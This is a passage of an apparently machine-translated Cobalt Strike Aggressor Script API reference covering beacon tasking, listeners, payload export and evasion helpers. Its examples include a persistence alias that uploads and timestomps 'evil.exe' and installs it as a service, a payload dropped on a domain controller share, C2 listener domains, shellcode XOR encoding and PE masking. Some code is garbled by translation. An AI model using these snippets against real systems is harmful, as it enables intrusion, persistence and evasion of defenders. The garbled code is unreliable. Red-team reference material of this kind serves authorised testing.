Machine Translated by Google

### Example

```
alias persist { bcd($1,
	"c:\\windows\\system32"); bupload($1,
	script_resource("evil.exe")); btimestomp($1, "evil.exe",
	"cmd.exe"); bshell($1, 'sc create evil binpath= "c:\
	\windows\\system32\\evil.exe"'); bshell($1, 'sc start netsrv');

}
```

## bunlink

Requests a Beacon to disconnect another Beacon to which it is connected via a TCP socket or named pipe.

### Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - Destination host to detach (specified as an IP address)

$3 - [optional] PID of the target session to detach

### Example

```
bunlink($1, "172.16.48.3");
```

## bufferload

Instructs the Beacon to download the file.

### Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - local path to the download file

### Example

```
bupload($1, script_resource("evil.exe"));
```

## bupload_raw

Instructs the Beacon to download the file.

### Arguments
$1 is the Beacon ID. It can be an array or a single id

$2 - filename on the remote system

$3 - raw file content

$4 - [optional] local file path (if any)

**Example**

```
$data = artifact("listener", "exe"); bupload_raw($1, "\\\\DC\
\C$\\foo.exe", $data);
```

## bwdigest

**REMOVED Removed in Cobalt Strike 4.0. Use &bmimikatz directly.**

## bwinrm

**REMOVED Removed in Cobalt Strike 4.0. Use &bjump with the winrm or winrm64 builtin options.**

## bwmi

**REMOVED Removed in Cobalt Strike 4.0.**

## call

Performs a call to the C&C server.

**Arguments**
$1 - command name

$2 is a callback to receive a response to this request. The callback takes two arguments. The first is the call name. The second one is the answer

... - one or more arguments to pass to this call

**Example**

```
call("aggressor.ping", { warn(@_); }, "this is my value");
```

## closeClient

Closes the current connection to Cobalt Strike's C&C server.

**Example**

```
closeClient();
```

## colorPanel

Generates a Java component to set up accent colors in the Cobalt Strike data model.

Machine Translated by Google

### Arguments
$1 - prefix

$2 - array of identifiers for color change

### Example

```
popup targets {
        menu "&Color" {
                insert_component(colorPanel("targets", $1));
        }
}
```

**See also** &highlight

## credential_add

Adds credentials to the data model.

### Arguments
$1 - username

$2 - password

$3 - area

$4 - source

$5 - host

### Example

```
command falsecreds { for ($x =
        0; $x < 100; $x++) { credential_add("user $+ $x",
                "password $+ $x");
} }
```

## credentials

Returns a list of credentials from the Cobalt Strike data model.

### Returns an
array of dictionaries containing information about each account.

### Example

```
printAll(credentials());
```

## data_keys

Lists the keys that can be queried from the Cobalt Strike data model.

**Returns** a List of
keys that you can query with &data_query.

### Example

```
foreach $key (data_keys())
{ println("\n\c4=== $key ===\n");
println(data_query($key)); }
```

## data_query

Requests the Cobalt Strike data model.

**Arguments** $1 -
the key to retrieve from the data model

### returns

Sleep representation of the requested data.

### Example

```
println(data_query("targets"));
```

## dbutton_action

Adds an action button to &dialog. Clicking this button closes the dialog box and calls its callback function. You can add multiple buttons to a dialog box. Cobalt Strike will line up these buttons and center them at the bottom of the dialog box.

**Arguments** $1 -
$dialog object

$2 - button label

### Example

```
dbutton_action($dialog, "Start");
dbutton_action($dialog, "Stop");
```

## dbutton_help

Adds a **Help** button to &dialog. When this button is clicked, Cobalt Strike will open the user's browser at the specified URL.

**Arguments** $1 - $dialog object

$2 - URL to go to

### Example

```
dbutton_help($dialog, "http://www.google.com");
```

## dialog

Creates a dialog box. Use &dialog_show to show it.

**Arguments** $1 - the title of the dialog box

$2 - %dictionary mapping string names to default values $3 - callback function. Called

when the user clicks a &dbutton_action button. $1 - a link to the dialog box. $2 - button name. $3 is a dictionary that maps the name of each row to its value.

**Returns** a Scalar with a $dialog object.

### Example

```
sub callback { # output:
Pressed Go, a is: Apple println("Pressed $2 $+ a is: " }
                                                      ,                     . $3['a']);


$dialog = dialog("Hello World", %(a => "Apple", b => "Bat"), &callback); drow_text($dialog, "a", "Fruit:
"); drow_text($dialog, "b", "Rodent: ");
dbutton_action($dialog, "Go"); dialog_show($dialog);
```

## dialog_description

Adds a description for &dialog.

**Arguments** $1 - $dialog object

$2 - description of this dialog box

### Example

```
dialog_description($dialog, "I am the Hello World dialog.");
```

## dialog_show

Shows &dialog.

**Arguments** $1
- $dialog object

### Example

```
dialog_show($dialog);
```

## dispatch_event

Calls a function on the Java Swing event dispatch thread. The Java Swing Library is not thread safe. All UI changes must occur on the event dispatch thread.

**Arguments** $1
- the function to call

### Example

```
dispatch_event({ println("Hello
 World"); });
```

## downloads

Returns a list of loaded files from the Cobalt Strike data model.

**Returns** an array
of dictionaries containing information about each uploaded file.

### Example

```
printAll(downloads());
```

## draw_beacon

Adds a string for selecting a Beacon to the &dialog.

**Arguments** $1
- $dialog object

$2 - name of this line

label for this line $3 -

## Example

```
drow_beacon($dialog, "bid", "Session: ");
```

## draw_checkbox

Adds a checkbox to &dialog.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

$4 - text next to the checkbox

## Example

```
drow_checkbox($dialog, "box", "Scary: ", "Check me... if you dare");
```

## draw_combobox

Adds a combo box to &dialog.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this string $4 -

array of options to select

## Example

```
drow_combobox($dialog, "combo", "Options", @("apple", "bat", "cat"));
```

## draw_exploits

Adds a line to select a privilege escalation exploit to the &dialog.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_exploits($dialog, "exploit", "Exploit: ");
```

## draw_file

Adds a file selection line to the &dialog.

### Arguments
$1 - $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_file($dialog, "file", "Choose: ");
```

## draw_interface

Adds a string to select the VPN interface to the &dialog.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_interface($dialog, "int", "Interface: ");
```

## drow_krbtgt

Adds a string for selecting krbtgt to the &dialog.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_krbtgt($dialog, "hash", "krbtgt hash: ");
```

## draw_listener

Adds a string for selecting a Listener to the &dialog. This line displays only Listeners with stagers (for example, windows/beacon_https/reverse_https).

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_listener($dialog, "listener", "Listener: ");
```

## drow_listener_smb

**DEPRECATED This feature has been deprecated in Cobalt Strike 4.0. It is currently equivalent to &drow_listener_stage.**

## draw_listener_stage

Adds a string for selecting a Listener to the &dialog. This line displays all Beacons and third-party Listeners.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_listener_stage($dialog, "listener", "Stage: ");
```

## drow_mailserver

Adds a mail server field to the &dialog.

**Arguments**
$1 - $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_mailserver($dialog, "mail", "SMTP Server: ");
```

## draw_proxyserver

**DEPRECATED This feature has been deprecated in Cobalt Strike 4.0. The proxy configuration is now tied directly to the Listener.**

Adds a proxy server setting field to the &dialog.

### Arguments
$1 - $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_proxyserver($dialog, "proxy", "Proxy: ");
```

## draw_site

Adds a site/URL input field to the &dialog.

### Arguments
$1 - $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_site($dialog, "url", "Site: ");
```

## draw_text

Adds a text field string to the &dialog.

### Arguments
$1 - $dialog object

$2 - name of this string

$3 - label for this line

$4 - [optional] the width of this text field (in characters). This value is not always taken into account (it doesn't shrink the text field, but makes it wider)

### Example

```
drow_text($dialog, "name", "Name: ");
```

## draw_text_big

Adds a multiline text field to the &dialog.

**Arguments** $1
- $dialog object

$2 - the name of this string

$3 - label for this line

### Example

```
drow_text_big($dialog, "addr", "Address: ");
```

## dstamp

Formats the time as a date/time value. This value includes seconds.

**Arguments**
$1 - time (milliseconds since UNIX epoch)

### Example

```
println("The time is now:                    "   . dstamp(ticks()));
```

**See also** &tstamp

## elog

Publishes a message to the event log.

**Arguments**
$1 - message

### Example

```
elog("the lockbit deployment was successful!");
```

## encode

Obfuscates a block of position-independent code using an encoder.

**Arguments**
$1 - position-independent code (e.g. shellcode, raw stageless Beacon) to apply encoder $2 to it - encoder $3

to use - architecture (e.g. x86,

x64)

| Encoder | Description |
|---|---|
| alpha | alphanumeric encoder (x86 only) |
| xor | XOR encoder |

## Notes

- The encoded block of position-independent code must run from a memory page that has RWX permissions, otherwise the current process will crash during the decode step. **encoder alpha:** The EDI register must
- contain the address of the encoded block. &encode adds a 10-byte (non-alphanumeric) program to the beginning of an alphanumeric encoded block. This program calculates the location of the encoded block and installs the EDI for you. If you plan to install EDI yourself, you can remove these first 10 bytes.

**Returns** a
Position-Independent block that decodes the original string and passes execution to it.

## Example

```
# generate shellcode for the Listener $stager =
shellcode("listener", false, "x86");

# encoding $stager
= encode($stager, "xor", "x86");
```

## extract_reflective_loader

Extracts the executable code for the Reflective Loader from the Beacon Object File (BOF).

**Arguments** $1
- Beacon Object File data containing Reflective Loader

**Returns** the
Reflective Loader binary executable extracted from the Beacon Object File.

**Example**
Let's turn to the BEACON_RDLL_GENERATE hook

```
# ------------------------------------------------- -------------------- # Extracting the bootloader from BOF. #
-------------------------------------------------
-------------------- $loader = extract_reflective_loader($data);
```

## file_browser

Opens the file browser. This function has no parameters.

## fireAlias

Starts a custom alias.

**Arguments** $1 -
ID of the Beacon to run the alias

$2 - alias name to run

$3 - arguments to pass to the alias

### Example

```
# execute alias foo when registering a new Beacon on beacon_initial { fireAlias($1, "foo",
"bar!");

}
```

## fireEvent

Executes the event.

**Arguments** $1 -
event name

... - arguments for the event

### Example

```
on foo {
	println("Argument is: $1");
}

fireEvent("foo", "Hello World!");
```

## format_size

Converts a number to its size (for example, 1024 => 1 kb).

**Arguments** $1 -
number to convert

**Returns** a String
representing the human readable size of the data.

### Example

```
println(format_size(1024));
```

## getAggressorClient

Returns the aggressor.AggressorClient Java object. This object can refer to any internal object within the current Cobalt Strike client context.

### Example

```
$client = getAggressorClient();
```

## gunzip

Unpacks a string (GZIP).

**Arguments**
$1 - string to unpack

**Returns** the
Argument processed by the gzip decompressor.

### Example

```
println(gunzip(gzip("My 100 Favorite Songs")));
```

**See also** &gzip

## gzip

Compresses a string.

**Arguments**
$1 - string to compress

**Returns** the
Argument processed by the gzip compressor.

### Example

```
println(gzip("this is a test"));
```

**See also** &gunzip

## highlight

Inserts an accent (highlighting) into the Cobalt Strike data model.

### Arguments

$1 - data model

$2 - array of strings to select later

$3 - accent type

### Notes

- The data model lines include: Applications, Beacons, Credentials, Listeners, Services, and Targets.
- Possible accents:

| Accent Color | |
|---|---|
| [empty] | No selection |
| good | Green |
| bad | Red |
| neutral | Yellow |
| ignore | Grey |
| cancel | Dark blue |

### Example

```
command admincreds
{ local('@creds');

    # search for all our credentials that belong to
Administrator user
        foreach $entry (credentials()) { if ($entry['user']
            eq "Administrator") {
                push(@creds, $entry);
} }

    # make everything green! highlight("credentials",
    @creds, "good");
}
```

## host_delete

Removes a host from the target model.

### Arguments

$1 - IPv4 or IPv6 address of the target (you can also specify an array of hosts)

### Example

```
# clear all hosts host_delete(hosts());
```

## host_info

Gets information about the target.

### Arguments

$1 - IPv4 or IPv6 host address

$2 - [optional] key to retrieve the value

### returns

```
%info = host_info("address");
```

Returns a dictionary with known information about this target.

```
$value = host_info("address", "key");
```

Returns the value for the specified key from the given target's entry in the data model.

### Example

```
# create a console script alias to collect information about the host command host
{ println("Host $1");
      foreach $key => $value
       (host_info($1)) { println("$[15]key $value");

} }
```

## host_update

Adding or updating a host in the target model.

### Arguments

$1 - IPv4 or IPv6 address of the target (you can also specify an array of hosts)

$2 - DNS name of this target

$3 - operating system of the target $4

- version number of the operating system (for example, 10.0)

$5 - goal note

**Note** You can
specify $null for any argument, but if the host exists, the value will not be changed.

**Example**

```
host_update("192.168.20.3", "DC", "Windows", 10.0);
```

## hosts

Returns a list of IP addresses from the targets model.

**Returns** an
array of IP addresses.

**Example**

```
printAll(hosts());
```

## insert_component

Add a javax.swing.JComponent object to the menu.

**Arguments**
$1 - component to add

## insert_menu

Adds the menu associated with the popup hook to the current menu.

**Arguments**
$1 - popup hook

... - additional arguments for the child popup hook

**Example**

```
popup beacon { #
	menu definitions above this element

insert_menu("beacon_bottom", $1);

	# menu definitions below this element
}
```

## iprange

Generates an array of IPv4 addresses based on a string description.

Machine Translated by Google

**Arguments**
$1 - string describing IPv4 ranges

| Range | Result |
|---|---|
| 192.168.1.2 | IP4 address 192.168.1.2 |
| 192.168.1.1, 192.168.1.2 | IPv4 addresses 192.168.1.1 and 192.168.1.2 |
| 192.168.1.0/24 | IPv4 addresses from 192.168.1.0 to 192.168.1.255 |
| 192.168.1.18-192.168.1.30 | IPv4 addresses from 192.168.1.18 to 192.168.1.29 |
| 192.168.1.18-30 | IPv4 addresses from 192.168.1.18 to 192.168.1.29 |

**Returns** an
array of IPv4 addresses within the specified ranges.

**Example**

```
printAll(iprange("192.168.1.0/25"));
```

## keystrokes

Returns a list of keys pressed from the Cobalt Strike data model.

**Returns** an
array of dictionaries containing information about registered keystrokes.

**Example**

```
printAll(keystrokes());
```

## licenseKey

Gets the license key for this instance of Cobalt Strike.

**Returns** your
license key.

**Example**

```
println("Your key is: "                        . licenseKey());
```

## listener_create

**DEPRECATED This feature has been deprecated in Cobalt Strike 4.0. Use**
**&listener_create_ext**

Creates a new Listener.

## Arguments

$1 - Listener's name

$2 - payload (e.g. windows/beacon_http/reverse_http)

$3 - Listener host

$4 - Listener port

$5 - comma-separated list of addresses to which the Listener should send requests

## Example

```
# create a foreign Listener listener_create("My
Metasploit", "windows/foreign_https/reverse_https",
              "ads.losenolove.com", 443);

# create a Listener for an HTTP Beacon listener_create("Beacon
HTTP", "windows/beacon_http/reverse_http",
              "www.losenolove.com", 80,
              "www.losenolove.com, www2.losenolove.com");
```

## listener_create_ext

Creates a new Listener.

**Arguments** $1 -
the name of the Listener

$2 - payload (e.g. windows/beacon_http/reverse_http)

$3 - an object with key/value pairs that set parameters for the Listener

**Note** The
following payload options apply for $2:

| payload | Type |
|---|---|
| windows/beacon_dns/reverse_dns_txt | DNS Beacon |
| windows/beacon_http/reverse_http | HTTP Beacon |
| windows/beacon_https/reverse_https | HTTPS Beacon |
| windows/beacon_bind_pipe | SMB Beacon |
| windows/beacon_bind_tcp | TCP Beacon |
| windows/beacon_extc2 | External C2 |
| windows/foreign/reverse_http | Third Party HTTP |
| windows/foreign/reverse_https | Third Party HTTPS |

The following keys are applicable for $3:

| DNS key | | HTTP/S | SMB | TCP (Binding) |
|---|---|---|---|---|
| althost | | HTTP Host Header | | |
| bind to | binding port | binding port | | |
| beacons hosts c2 | | c2 hosts | | binding port |
| host | host for staging | host for staging | | |
| maxretry maxretry | | maxretry | | |
| port | port c2 | port c2 | channel name | port |
| profile | | profile option | | |
| proxy | | proxy configuration | | |
| host rotation strategy | | host rotation | | |

The following host rotation values are applicable for the 'strategy' key:

| Parameter |
|---|
| round robin |
| random |
| failover |
| failover-5x |
| failover-50x |
| failover-100x |
| failover-1m |
| failover-5m |
| failover-15m |
| failover-30m |
| failover-1h |
| failover-3h |
| failover-6h |
| failover-12h |
| failover-1d |
| rotate-1m |

| Parameter |
|---|
| rotate-5m |
| rotate-15m |
| rotate-30m |
| rotate-1h |
| rotate-3h |
| rotate-6h |
| rotate-12h |
| rotate-1d |

**Note** The
maxretry value uses the syntax exit-[max_retries]-[pops_current_to_increase]-[duration][m,h,d]. For example, 'exit-10-5-5m' will cause the Beacon to exit after 10 failed attempts and increase the sleep time after 5 failed attempts to 5 minutes. The sleep time will not be updated if the current sleep time is greater than the specified value. Sleep time is affected by the current jitter value. On a successful connection, the failed attempts counter is reset to zero, and the sleep time returns to its previous value.

The proxy configuration string is the same string you enter in the Listener's dialog box. *direct* ignores the local proxy configuration and tries to establish a direct connection. protocol://user:[secure email]:port specifies which proxy configuration the artifact should use. The username and password are optional (for example, protocol://host:port is fine). Valid protocols are socks and http. Set the proxy configuration string to $null or "" to use the default behavior.

## Example

```
# create a third party Listener listener_create_ext("My
Metasploit", "windows/foreign/reverse_https", %(host => "ads.losenolove.com", port => 443));


# create a Listener for an HTTP Beacon
listener_create_ext("Beacon HTTP", "windows/beacon_http/reverse_http", %(host => "www.losenolove.com",
             port => 80, beacons => "www.losenolove .com,
             www2.losenolove.com"));

# create a Listener for an HTTP Beacon
listener_create_ext("HTTP", "windows/beacon_http/reverse_http",
             %(host => "stage.host", profile =>
             "default", port => 80, beacons
             =>
             "b1.host,b2.host", althost => "alt.host", bindto
             => 8080, strategy => "failover-5x",
            max_retry => "exit-10-5-5m",
proxy => "proxy.host"));
```

## listener_delete

Stops and removes the Listener.

**Arguments** $1 -
the name of the Listener

### Example

```
listener_delete("Beacon HTTP");
```

## listener_describe

Assigns a description to the Listener.

### Arguments
$1 - Listener's name

$2 - [optional] the remote target this Listener is intended for

**Returns** a String
describing the Listener

### Example

```
foreach $name(listeners()) {
                                    println("$name is: "                    . listener_describe($name));
}
```

## listener_info

Gets information about the Listener.

**Arguments** $1 -
the name of the Listener

$2 - [optional] key to retrieve the value

### returns

```
%info = listener_info("listener name");
```

Returns a dictionary with metadata for this Listener.

```
$value = listener_info("listener name", "key");
```

Returns the value for a particular key from this Listener's metadata.

### Example

```
# creating a console script alias to dump information about the Listener command dump { println("Listener $1"); foreach
$key => $value
        (listener_info($1)) { println("$[15]key
        $value");

}}
```

## listener_pivot_create

Creates a new Pivot Listener.

### Arguments
$1 - Beacon ID

$2 - Listener's name

$3 - payload (e.g. windows/beacon_reverse_tcp)

$4 - Listener host

$5 - Listener port

**Note** The only
acceptable payload argument is **windows/beacon_reverse_tcp.**

### Example

```
# create a Pivot Listener: # $1 = beacon id,
$2 = name, $3 = port alias plisten { local('$lhost $bid $name $port');



        # extracting our arguments ($bid, $name, $port)
         = @_;

        # getting the name of our target $lhost
        = beacon_info($1, "computer");

        btask($1, "create TCP listener on $lhost $+ : $+ $port"); listener_pivot_create($1,
        $name, "windows/beacon_reverse_tcp", $lhost, $port);

 }
```

## listener_restart

Restarts the Listener.

### Arguments
$1 - Listener's name

### Example
```
listener_restart("Beacon HTTP");
```

## listeners

Returns a list of Listener names (only with stagers!) on all command and control servers to which this client is connected.

### returns
An array of Listener names.

### Example
```
printAll(listeners());
```

## listeners_local

Returns a list of Listener names. This feature is limited to the current C&C only. Names of Listener'ov external C2 are not specified.

### returns
An array of Listener names.

### Example
```
printAll(listeners_local());
```

## listeners_stageless

Returns a list of Listener names on all C&C servers to which this client is connected. External C2 listeners are filtered (because they cannot be used via staging or export as a Reflective DLL).

### returns
An array of Listener names.

### Example
```
printAll(listeners_stageless());
```

## localip

Gets the IP address associated with the command and control server.

**Returns** A
string with the C&C server IP address.

**Example**

```
println("I am: " . localip());
```

## menubar

Adds a top item to the menu bar.

**Arguments**

$1 - description

$2 - popup hook

**Example**

```
popup myths { item
	"Keep out" { } }



menubar("My &Things", "mythings");
```

## minick

Gets the nickname associated with the current Cobalt Strike client.

**Returns** A
string with your nickname.

**Example**

```
println("I am: " . minick());
```

## nextTab

Activates the tab that is located to the right of the current tab.

**Example**

```
bind Ctrl+Right { nextTab(); }
```

## on

Registers an event handler. This is an alternative to the on keyword.

**Arguments** $1
- the name of the event to react to

$2 - callback function. Called when an event occurs

### Example

```
sub foo
      { blog($1, "Foo!");
}

on("beacon_initial", &foo);
```

## openAboutDialog

Opens a dialog box with information about Cobalt Strike.

### Example

```
openAboutDialog();
```

## openApplicationManager

Opens the Application Manager tab (System Profiler results).

### Example

```
openApplicationManager();
```

## openAutoRunDialog

**REMOVED REMOVED Removed in Cobalt Strike 4.0.**

## openBeaconBrowser

Opens the Beacon Explorer tab.

### Example

```
openBeaconBrowser();
```

## openBeaconConsole

Opens the console to interact with the Beacon.

**Arguments**
$1 - the identifier of the Beacon to interact with

**Example**

```
item "Interact" { local('$bid');
foreach $bid($1) {


            openBeaconConsole($bid);
} }
```

## openBrowserPivotSetup

Opens a dialog box for configuring the Browser Pivot.

**Arguments**
$1 - ID of the beacon to apply this function to

**Example**

```
item "Browser Pivoting" { local('$bid');
  foreach $bid ($1)
      { openBrowserPivotSetup($bid);


      }
}
```

## openBypassUACDialog

REMOVED Removed in Cobalt Strike 4.1.

## openCloneSiteDialog

Opens the website cloning tool dialog box.

**Example**

```
openCloneSiteDialog();
```

## openConnectDialog

Opens the connection dialog.

### Example

```
openConnectDialog();
```

## openCovertVPNSetup

Opens a dialog box for setting up a hidden VPN.

### Arguments
$1 - ID of the beacon to apply this function to

### Example

```
item "VPN Pivoting" { local('$bid');
foreach $bid ($1)
        { openCovertVPNSetup($bid); } }
```

## openCredentialManager

Opens the credential manager tab.

### Example

```
openCredentialManager();
```

## openDefaultShortcutsDialog

Opens the Default Keyboard Shortcuts dialog box. This function has no parameters.

## openDownloadBrowser

Opens the download browser tab.

### Example

```
openDownloadBrowser();
```

## openElevateDialog

Opens a dialog box for executing a privilege escalation exploit.

### Arguments
$1 - Beacon ID

### Example

```
item "Elevate" { local('$bid');
foreach $bid ($1)
        { openElevateDialog($bid);

} }
```

## openEventLog

Opens the event log.

### Example

```
openEventLog();
```

## openFileBrowser

Opens the Beacon's file browser.

### Arguments
$1 - ID of the beacon to apply this function to

### Example

```
item "Browse Files" {

       local('$bid'); foreach
        $bid($1) {
openFileBrowser($bid); } }
```

## openGoldenTicketDialog

Opens a dialog to help you generate a golden ticket.

### Arguments
$1 - ID of the beacon to apply this function to

### Example

```
item "Golden Ticket" {
        local('$bid'); foreach
        $bid($1) {
                openGoldenTicketDialog($bid);
        }
}
```

## openHTMLApplicationDialog

Opens the HTML application dialog box.

### Example

```
openHTMLApplicationDialog();
```

## openHostFileDialog

Opens the file placement dialog box.

### Example

```
openHostFileDialog();
```

## openInterfaceManager

Opens a tab for managing hidden VPN interfaces;

### Example

```
openInterfaceManager();
```

## openJavaSignedAppletDialog

Opens the Java Signed Applet dialog box.

### Example

```
openJavaSignedAppletDialog();
```

## openJavaSmartAppletDialog

Opens the Java Smart Applet dialog box.

### Example

```
openJavaSmartAppletDialog();
```

## openJumpDialog

Opens the lateral move dialog box.

**Arguments** $1
is the type of lateral movement. See &beacon_remote_exploits for a list of options. ssh and ssh-key are also options.

$2 - array of targets to apply this function to them

### Example

```
openJumpDialog("psexec_psh", @("192.168.1.3", "192.168.1.4"));
```

## openKeystrokeBrowser

Opens a browser tab for the pressed keys.

### Example

```
openKeystrokeBrowser();
```

## openListenerManager

Opens the Listener manager.

### Example

```
openListenerManager();
```

## openMakeTokenDialog

Opens a dialog box that allows you to generate an access token.

**Arguments** $1 -
ID of the beacon to apply this function to

### Example

```
item "Make Token" { local('$bid');
foreach $bid ($1)
        { openMakeTokenDialog($bid); } }
```

## openMalleableProfileDialog

Opens the Malleable C2 profile dialog.

### Example

```
openMalleableProfileDialog();
```

## openOfficeMacro

Opens a dialog box for exporting office document macros.

### Example

```
openOfficeMacroDialog();
```

## openOneLinerDialog

Opens a dialog box for creating a single-line PowerShell command for a specific Beacon session.

### Arguments
$1 - Beacon ID

### Example

```
item "&One-
liner" { openOneLinerDialog($1); }
```

## openOrActivate

If the Beacon's console exists, make it active. If the Beacon's console does not exist, it will open it.

**Arguments** $1
- Beacon ID

### Example

```
item "&Activate" { local('$bid');
foreach $bid($1) {

openOrActivate($bid); } }
```

## openPayloadGeneratorDialog

Opens the Payload Generator dialog box.

### Example

```
openPayloadGeneratorDialog();
```

## openPayloadHelper

Opens a dialog box for choosing a payload.

**Arguments** $1
is a callback function. Arguments: $1 - the selected Listener

### Example

```
openPayloadHelper(lambda({ bspawn($bid,
      $1); }, $bid => $1));
```

## openPivotListenerSetup

Opens a dialog box for configuring the Pivot Listener.

**Arguments** $1
- ID of the beacon to apply this function to

### Example

```
item "Listener..." { local('$bid');
foreach $bid ($1)
      { openPivotListenerSetup($bid); } }
```

## openPortScanner

Opens the port scanner dialog box.

**Arguments** $1
- array of targets to scan

### Example

```
openPortScanner(@("192.168.1.3"));
```

## openPortScannerLocal

Opens a port scanner dialog with options for use on the Beacon's LAN.

### Arguments

$1 - Beacon for which this function will be used

### Example

```
item
"Scan" { local('$bid');
        foreach $bid ($1)
                { openPortScannerLocal($bid);
} }
```

## openPowerShellWebDialog

Opens a dialog box for configuring a PowerShell Web Delivery attack.

### Example

```
openPowerShellWebDialog();
```

## openPreferencesDialog

Opens the Preferences dialog box.

### Example

```
openPreferencesDialog();
```

## openProcessBrowser

Opens the process explorer for one or more beacons.

### Arguments
$1 is the Beacon ID. It can be an array or a single id

### Example

```
item
"Processes" { openProcessBrowser($1); }
```

## openSOCKSBrowser

Opens a tab with a list of SOCKS proxy servers.

### Example

```
openSOCKSBrowser();
```

## openSOCKSSetup

Opens a dialog box for configuring a SOCKS proxy server.

**Arguments** $1
- ID of the beacon to apply this function to

### Example

```
 item "SOCKS Server" { local('$bid');
foreach $bid ($1)
        { openSOCKSSetup($bid);

} }
```

## openScreenshotBrowser

Opens a screenshot browser tab.

### Example

```
openScreenshotBrowser();
```

## openScriptConsole

Opens the Aggressor Script's console.

### Example

```
openScriptConsole();
```

## openScriptManager

Opens the Script Manager tab.

### Example

```
openScriptManager();
```

## openScriptedWebDialog

Opens a dialog box for setting up a Scripted Web Delivery attack.

### Example

```
openScriptedWebDialog();
```

## openServiceBrowser

Opens the Service Explorer dialog box.

**Arguments**
$1 - an array of targets to map services to

### Example

```
openServiceBrowser(@("192.168.1.3"));
```

## openSiteManager

Opens the site manager.

### Example

```
openSiteManager();
```

## openSpawnAsDialog

Opens a dialog to create a payload as another user.

**Arguments** $1
- ID of the beacon to apply this function to

### Example

```
item "Spawn As..." { local('$bid');
foreach $bid ($1)
        { openSpawnAsDialog($bid);

} }
```

## openSpearPhishDialog

Opens the spear phishing tool dialog box.

### Example

```
openSpearPhishDialog();
```

## openSystemInformationDialog

Opens a dialog box with system information.

### Example

```
openSystemInformationDialog();
```

## openSystemProfilerDialog

Opens a dialog box for configuring the system profiler.

### Example

```
openSystemProfilerDialog();
```

## openTargetBrowser

Opens the target browser.

### Example

```
openTargetBrowser();
```

## openWebLog

Opens the web logs tab.

### Example

```
openwebLog();
```

## openWindowsDropperDialog

**REMOVED Removed in Cobalt Strike 4.0.**

## openWindowsExecutableDialog

Opens a dialog box for creating an executable file under Windows.

### Example

```
openWindowsExecutableDialog();
```

## openWindowsExecutableStage

Opens a dialog box for creating a stageless executable under Windows.

### Example

```
openWindowsExecutableStage();
```

## openWindowsExecutableStageAllDialog

Opens a dialog to generate all kinds of stageless payloads (in x86 and x64) for all configured Listenes. This dialog can also be found in the user interface menu under Payloads -> Windows Stageless Generate all Payloads.

### Example

```
openWindowsExecutableStageAllDialog();
```

## payload

Exports the raw payload for a specific Listener.

**Arguments** $1 - the name of the Listener

$2 - x86|x64 payload architecture $3 -

exit method: 'thread' (exits thread on exit) or 'process' (exits process on exit). Use 'thread' when injecting into an existing process

**Returns** a
Scalar containing the position-independent code for the specified Listener.

### Example

```
$data = payload("listener", "x86", "process");

$handle = openf(">out.bin"); writeb($handle,
$data); closef($handle);
```

## payload_bootstrap_hint

Gets the function hint offset used by the Reflective Loader
Beacon. Fill in these hints with the addresses of the process of interest so that the Beacon loads itself into memory in a more OPSEC-safe way.

**Arguments**
$1 - position-independent code of payload'a (in particular, Beacon'a)

$2 - function to get patch location

### Notes

- Beacon has a protocol for accepting function pointers provided by artifacts for those functions that Beacon's Reflective Loader requires. The protocol involves fixing the location of **GetProcAddress** and **GetModuleHandleA** in the Beacon DLL .
  The use of this protocol allows
  The beacon will load itself into memory without calling the heuristic shellcode detection method that monitors reading the export address table in kernel32. This protocol is optional. Artifacts that do not follow this protocol will be forced to use key function resolution via the export address table.

- Artifact Kit and Resource Kit implement this protocol. Download these kits to see how to use this feature.

### Returns the
offset relative to the memory location to pair with a pointer to a specific function used by the Reflective Loader.

## payload_local

Exports the raw payload for a specific Listener. Use this function if you plan to spawn this payload from another Beacon session. Cobalt Strike will generate a payload that includes pointers to the key functions needed to load the agent, obtained from the parent session's metadata.

### Arguments
$1 - Beacon's parent session ID

$2 - Listener's name

$3 - x86|x64 payload architecture

$4 - exit method: 'thread' (exit thread on completion) or 'process' (exit process on exit). Use 'thread' when injecting into an existing process

### Returns a
Scalar containing the position-independent code for the specified Listener.

### Example

```
$data = payload_local($bid, "listener", "x86", "process");

$handle = openf(">out.bin"); writeb($handle,
$data); closef($handle);
```

## pe_insert_rich_header

Paste the rich header data into the contents of the Beacon DLL. If rich header information already exists, it will be replaced.

Machine Translated by Google

**Arguments**
$1 - contents of the Beacon DLL

$2 - rich header

**Returns** the
updated content of the DLL.

**Note** The length
of the rich header must be limited to 4 bytes for subsequent checksum calculations.

**Example**

```
# ------------------------------------- # insert (replace) rich header
# ---- --------------------------------- $rich_header =
"<your rich header info>"; $temp_dll =
pe_insert_rich_header($temp_dll, $rich_header);
```

## pe_mask

Masks data in the contents of a Beacon DLL based on position and length.

**Arguments**
$1 - contents of the Beacon DLL

$2 - starting location

$3 - length for disguise

$4 - byte value of the key to mask (int)

**Returns** the
updated content of the DLL.

**Example**

```
#
================================================= =========================
# $1 = contents of the Beacon DLL #

#======================================== ================================

sub demo_pe_mask
{ local('$temp_dll, $start, $length, $maskkey'); local('%pemap');
local('@loc_en, @val_en');


$temp_dll = $1;

      # ------------------------------------- # checking the current DLL...
```

Machine Translated by Google

```
# ------------------------------------- %pemap = pedump($temp_dll);
@loc_en = values(%pemap,
@("Export.Name.")); @val_en = values(%pemap, @("Export.Name."));


if (size(@val_en) != 1) { warn("Unexpected
size of export name value array: } else { warn("Current export value: " }                "
                                                                                          . size(@val_en));

                                                              . @val_en[0]);


if (size(@loc_en) != 1) { warn("Unexpected
size of export location array: } else { warn("Current export name location: " }    "
                                                                                    . size(@loc_en));

                                                                       . @loc_en[0]);


    # ------------------------------------ # setting parameters (parsing
    number to base 10) # - ----------------------------------- $start =
    parseNumber(@loc_en[0], 10); $length = 4; $mask key = 22;




